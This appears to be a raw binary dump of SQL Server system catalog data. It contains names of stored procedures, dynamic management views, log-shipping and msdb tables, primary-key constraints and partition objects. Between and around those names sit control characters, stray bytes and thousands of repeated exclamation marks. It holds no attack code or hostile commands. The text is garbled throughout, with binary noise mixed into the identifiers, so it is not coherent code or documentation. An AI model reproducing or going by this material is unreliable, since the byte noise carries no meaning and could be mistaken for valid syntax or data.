Bsp_revoke_login_from_proxy&+Jsp_revoke_proxy_from_subsystem&3lFsp_revoke_publication_access&n0sp_revokedbaccess&Ӻ6*sp_revokelogin&SNsp_rollback_parallel_nested_tran&-8sp_repl_generateevent&i0XHsp_replmonitorhelppublication&MNsp_resetsnapshotdeliveryprogress&Bsp_resyncmergesubscription&%4sp_replincrementlsn&4*sp_replrestart!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!p@n8


n
(
`h,p:


\
&
		,	^		~: z$|B|V&lH`x6
l,`S
;"[t)ϋ&/Hdm_pdw_nodes_os_cluster_nodes&'Ndm_pdw_nodes_os_dispatcher_pools&ȚDdm_pdw_nodes_os_dispatchers&e8dm_pdw_nodes_os_hosts&֩Ddm_pdw_nodes_os_latch_stats&_qJdm_pdw_nodes_os_loaded_modules&ʷJdm_pdw_nodes_os_memory_brokers&_^dm_pdw_nodes_os_memory_cache_clock_hands&6Xdm_pdw_nodes_os_memory_cache_counters&quAVdm_pdw_nodes_os_memory_cache_entries&]
^dm_pdw_nodes_os_memory_cache_hash_tables&QHdm_pdw_nodes_os_memory_clerks&k^dm_pdw_nodes_os_memory_node_access_stats&Fdm_pdw_nodes_os_memory_nodes&YJdm_pdw_nodes_os_memory_objects&Fdm_pdw_nodes_os_memory_pools&E8dm_pdw_nodes_os_nodes&7Vdm_pdw_nodes_os_performance_counters&Jdm_pdw_nodes_os_process_memory&Bdm_pdw_nodes_os_schedulers&MHJdm_pdw_nodes_os_spinlock_stats&rH>dm_pdw_nodes_os_sys_info&Bdm_pdw_nodes_os_sys_memory&h@98dm_pdw_nodes_os_tasks&D<dm_pdw_nodes_os_threads&
Vdm_pdw_nodes_os_virtual_address_dump&[5aHdm_pdw_nodes_os_waiting_tasks&!3<dm_pdw_nodes_os_workers&Š|dm_pdw_nodes_tran_active_snapshot_database_transactions&8lXdm_pdw_nodes_tran_active_transactions&;Jdm_pdw_nodes_tran_commit_table&5oRdm_pdw_nodes_tran_current_snapshot&vXdm_pdw_nodes_tran_current_transaction&\dm_pdw_nodes_tran_database_transactions&(Zdm_pdw_nodes_tran_session_transactions&^dm_pdw_nodes_tran_top_version_generators&8dm_pdw_online_backups&c6dm_pdw_os_event_logs&IJdm_pdw_os_performance_counters&0dm_pdw_os_threads&</8dm_pdw_query_stats_xe&|Bdm_pdw_query_stats_xe_file&6dm_pdw_request_steps&;d4dm_pdw_sql_requests&Z,dm_pdw_sys_info&f0dm_pdw_wait_stats&G&dm_pdw_waits&y4dm_qn_subscriptions&o.dm_repl_articles&,dm_repl_schemas&~.dm_repl_tranhash&.dm_repl_traninfo&IRdm_resource_governor_configuration&+Zddm_resource_governor_resource_pool_affinity&Tdm_resource_governor_resource_pools&Vdm_resource_governor_workload_groups&Y:dm_server_audit_status&7vBdm_pdw_nodes_os_wait_stats&<dm_pdw_nodes_tran_locks!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!,vH


f
6

^&v>

R*
		6	b&LJh0ZVJr:`U
LP"
|\.^&'@sp_updateextendedproperty&z*sp_updatestats&O<sp_upgrade_log_shipping&H.sp_user_counter1&0sp_user_counter10&[:.sp_user_counter2&>.sp_user_counter3&Pn.sp_user_counter4&.sp_user_counter5&.sp_user_counter6&.sp_user_counter7&;.sp_user_counter8&n.sp_user_counter9&(4sp_usertypes_rowset&\3<sp_usertypes_rowset_rmt&6sp_usertypes_rowset2&4HNsp_validate_redirected_publisher&m'\sp_validate_replica_hosts_as_publishers&;.sp_validate_user&.sp_validatecache&='0sp_validatelogins&_Dsp_validatemergepublication&Nsp_validatemergepullsubscription&贲Fsp_validatemergesubscription&#&sp_validlang&&sp_validname&>,sp_verify_alert&PE&2sp_verify_category&oJsp_verify_category_identifiers&JrNsp_verify_credential_identifiers&q}_M(sp_verify_job&1oV2sp_verify_job_date&ە
@sp_verify_job_identifiers&jJ2sp_verify_job_time&Mޅ>sp_verify_jobproc_caller&^?0sp_verify_jobstep&xuDsp_verify_login_identifiers&Jyt:sp_verify_notification&Mm2sp_verify_operator& rJsp_verify_operator_identifiers&JbLsp_verify_performance_condition&.v,sp_verify_proxy&qDsp_verify_proxy_identifiers&KR[{Dsp_verify_proxy_permissions&R<p72sp_verify_schedule&Jsp_verify_schedule_identifiers&|64sp_verify_subsystem&TtLsp_verify_subsystem_identifiers&0s6sp_verify_subsystems&.q2sp_verifypublisher&F,sp_views_rowset&vq.sp_views_rowset2&֕>sp_vupgrade_mergeobjects&k9<sp_vupgrade_mergetables&9f<sp_vupgrade_replication&73Psp_vupgrade_replsecurity_metadata&&nsp_who&qKsp_who2&p7D<sp_write_sysjobstep_log&j:sp_xml_preparedocument& 8sp_xml_removedocument&=6sp_xml_schema_rowset&$=8sp_xml_schema_rowset2&Ք2Fsp_xp_cmdshell_proxy_account&u@spatial_reference_systems&|F7(sqlagent_info&l2SQLAGENT_SUSER_SID&$k6SQLAGENT_SUSER_SNAME&fS(suspect_pages&&Fsyn_sysutility_ucp_computers&d[.Rsyn_sysutility_ucp_cpu_utilization&Dspatial_index_tessellations&,spatial_indexes&Dsql_expression_dependencies&0*symmetric_keys&Z.sql_dependencies&`$sql_modules&m(stats_columns&nstats&!"sql_logins!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!R*BZZZ.

n
4
r6b0

z
0
		v	J	Hd$|2BR$zDxJd4`K
PN"J\J8\&,5Flog_shipping_monitor_primary&=Jlog_shipping_monitor_secondary&rW:log_shipping_primaries&D0Jlog_shipping_primary_databases&4Nlog_shipping_primary_secondaries&@[Y>log_shipping_secondaries&9:log_shipping_secondary&ε;Nlog_shipping_secondary_databases&bb$login_token&:Q*logmarkhistory&Г3,4MSdatatype_mappings&0&msdb_version&"UMSdbms&,MSdbms_datatype&]!<MSdbms_datatype_mapping&x.P"MSdbms_map&6?openkeys&hORMask&J8"PARAMETERS&`Rpdw_column_distribution_properties&G8pdw_database_mappings&W|@pdw_diag_event_properties&1,pdw_diag_events&Sp0pdw_diag_sessions&N0pdw_distributions&e)0pdw_health_alerts&L^Dpdw_health_component_groups&0Lpdw_health_component_properties&Vpdw_health_component_status_mappings&Yj8pdw_health_components&bt2pdw_index_mappings&֬Hpdw_loader_backup_run_details&W:pdw_loader_backup_runs&{t8pdw_loader_run_stages&5Ppdw_table_distribution_properties&T2pdw_table_mappings&9$IJPK__backupfi__57D1800AC4FFEEA3&kHFJPK__backupfi__760CD67ADEB0E5E0&m?JPK__backupme__0C13C86F1C51CE1C&%=JPK__backupme__DAC69E4D599F1693&kCJPK__backupse__21F79AAB792B85D3&<JPK__log_ship__093E1AB55C5147F8&z@JPK__log_ship__BD57EA57F3FC6FFE&I:JPK__log_ship__DB57D5B2C7A61B6C&@81JPK__log_ship__ED3BE1113A241048&e6JPK__log_ship__ED3BE1119B826ADF&gXJPK__log_ship__ED3BE111B6D897E9&DLJPK__restoreh__FDC4B031A97E0FE6&YTgJPK__syscache__F6D56B5641F5B77F&!JPK__sysdbmai__BE9F8F1D247FE03E&MJPK__sysjobst__9E2397E06FA0D04D&O6LJPK__sysmail___78E6FD33C37F3600&/=JPK__sysmail___C010B7E1DBA62588&cYIJPK__sysmail___DD70126420ED5B95&/UtgJPK__sysmanag__752ABCF9A354EE2F&L
9lJPK__sysmanag__ED5B5C59651AEF5D&qaJPK__syspolic__096AA2E9D00BEAF6&]JPK__syspolic__409BC9E5A43A0EC9&M{{JPK__syspolic__66936FB42D376AD8&@]yJPK__syspolic__72E12F1A2F2E06A8&<YRJPK__syssched__C46A8A6F9F7D6ED0&EGJPK__syssessi__69B13FDCD888F710&:module_assembly_usages& 8parameter_type_usages&"`message_type_xml_schema_collection_usages&#Zparameter_xml_schema_collection_usages&J0partition_schemes&M:partition_range_values&N6partition_parameters&O4partition_functions&]Hnumbered_procedure_parameters&^4numbered_procedures&q"partitions&w"parameters&objects&
